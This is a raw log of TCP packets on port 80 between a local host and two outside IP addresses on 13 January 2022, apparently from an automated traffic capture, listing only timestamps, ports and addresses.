Jan 13, 2022 20:51:32.668039083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668064117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668087006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668111086 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668135881 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668145895 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.668174028 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.668200016 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.668591976 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668617964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668641090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668664932 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.668677092 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.668711901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.669051886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669080019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669105053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669127941 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669130087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.669167995 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.669492960 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669543982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669574022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669595957 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.669610023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.669651985 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.669969082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670005083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670027018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670048952 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670058012 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.670093060 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.670367002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670397997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670423031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670444012 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670444012 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.670485973 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.670578003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670599937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670625925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670649052 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.670650959 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.670695066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671072960 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671099901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671142101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671145916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671175003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671202898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671216965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671224117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671247005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671262980 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671267986 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671309948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671653986 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671694040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671736002 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671746969 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671767950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671788931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671808958 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671809912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671830893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671850920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.671854973 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.671900988 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.672418118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.672445059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.672466993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.672488928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.672519922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.672545910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.698959112 CET	80	49734	54.38.220.85	192.168.2.5
Jan 13, 2022 20:51:32.699147940 CET	49734	80	192.168.2.5	54.38.220.85
Jan 13, 2022 20:51:32.699259996 CET	49734	80	192.168.2.5	54.38.220.85
Jan 13, 2022 20:51:32.718342066 CET	80	49734	54.38.220.85	192.168.2.5
Jan 13, 2022 20:51:32.726131916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726186037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726206064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726260900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726286888 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726311922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726322889 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726336956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726362944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726371050 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726386070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726412058 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726434946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726459026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726480961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726480961 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726514101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726526022 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726537943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726563931 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726577044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726593971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726627111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726634026 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726669073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726691961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726711035 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726716042 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726754904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.726926088 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726960897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.726984024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.727008104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.727010965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.727049112 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.727703094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.727741957 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.727766037 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.727788925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.727807045 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.727843046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.728068113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728096962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728120089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728141069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728147030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.728183031 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.728554964 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728595972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728616953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728641033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.728650093 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.728694916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.729464054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729494095 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729516029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729540110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729624987 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.729645014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.729758024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729789972 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729820967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729859114 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.729868889 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.729931116 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.730120897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.730185986 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.730215073 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.730237961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.730240107 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.730302095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.731115103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.731147051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.731169939 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.731193066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.731211901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.731255054 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.784959078 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.785007000 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.785031080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.785054922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.785197973 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.785968065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786035061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786058903 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786082983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786092043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786133051 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786381960 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786421061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786443949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786444902 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786468029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786477089 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786492109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786501884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786515951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786529064 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786550999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786564112 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786581039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786613941 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786618948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786642075 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786649942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786665916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786679029 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786689997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786709070 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786712885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786737919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786746979 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786760092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.786789894 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786827087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.786972046 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787003040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787024975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787030935 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.787048101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787058115 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.787096977 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.787565947 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787591934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787615061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787623882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.787637949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.787668943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.787714005 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.788312912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788342953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788367033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788374901 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.788391113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788414001 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.788451910 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.788855076 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788896084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788919926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788929939 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.788947105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.788961887 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789001942 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789192915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789223909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789254904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789268017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789292097 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789294958 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789314985 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789328098 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789340973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789364100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789369106 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789386988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789421082 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789453030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789529085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789558887 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789596081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789607048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789628029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.789644003 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.789699078 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.841655016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.841974020 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.898760080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.898802996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.898832083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.898854017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.898879051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.898904085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.898957968 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.899054050 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.899215937 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.899247885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.899271965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.899295092 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.899367094 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.899378061 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.899801970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.899830103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.899878979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.899888992 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.899943113 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.900000095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.901938915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.901972055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.901990891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902013063 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902039051 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.902091980 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.902410984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902434111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902456045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902477980 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902508974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.902544022 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.902935028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902965069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.902995110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.903014898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.903029919 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.903072119 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.904335022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.904370070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.904391050 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.904417038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.904474974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.904542923 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.905618906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.905647993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.905677080 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.905700922 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.905721903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.905747890 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.907511950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.907538891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.907560110 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.907582045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.907650948 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.953785896 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.953823090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.953892946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.953932047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.953972101 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.954035044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.956537962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956572056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956594944 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956614971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956717014 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.956727028 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956765890 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956788063 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956810951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956835985 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.956871033 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.956886053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956907034 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.956984043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:32.957046986 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.957071066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:32.957133055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.008876085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.008933067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.008959055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.008992910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009097099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009121895 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.009124041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009154081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009180069 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009253979 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.009306908 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.009656906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009692907 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009728909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009753942 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009785891 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.009804010 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.009810925 CET	49845	80	192.168.2.5	45.135.233.182
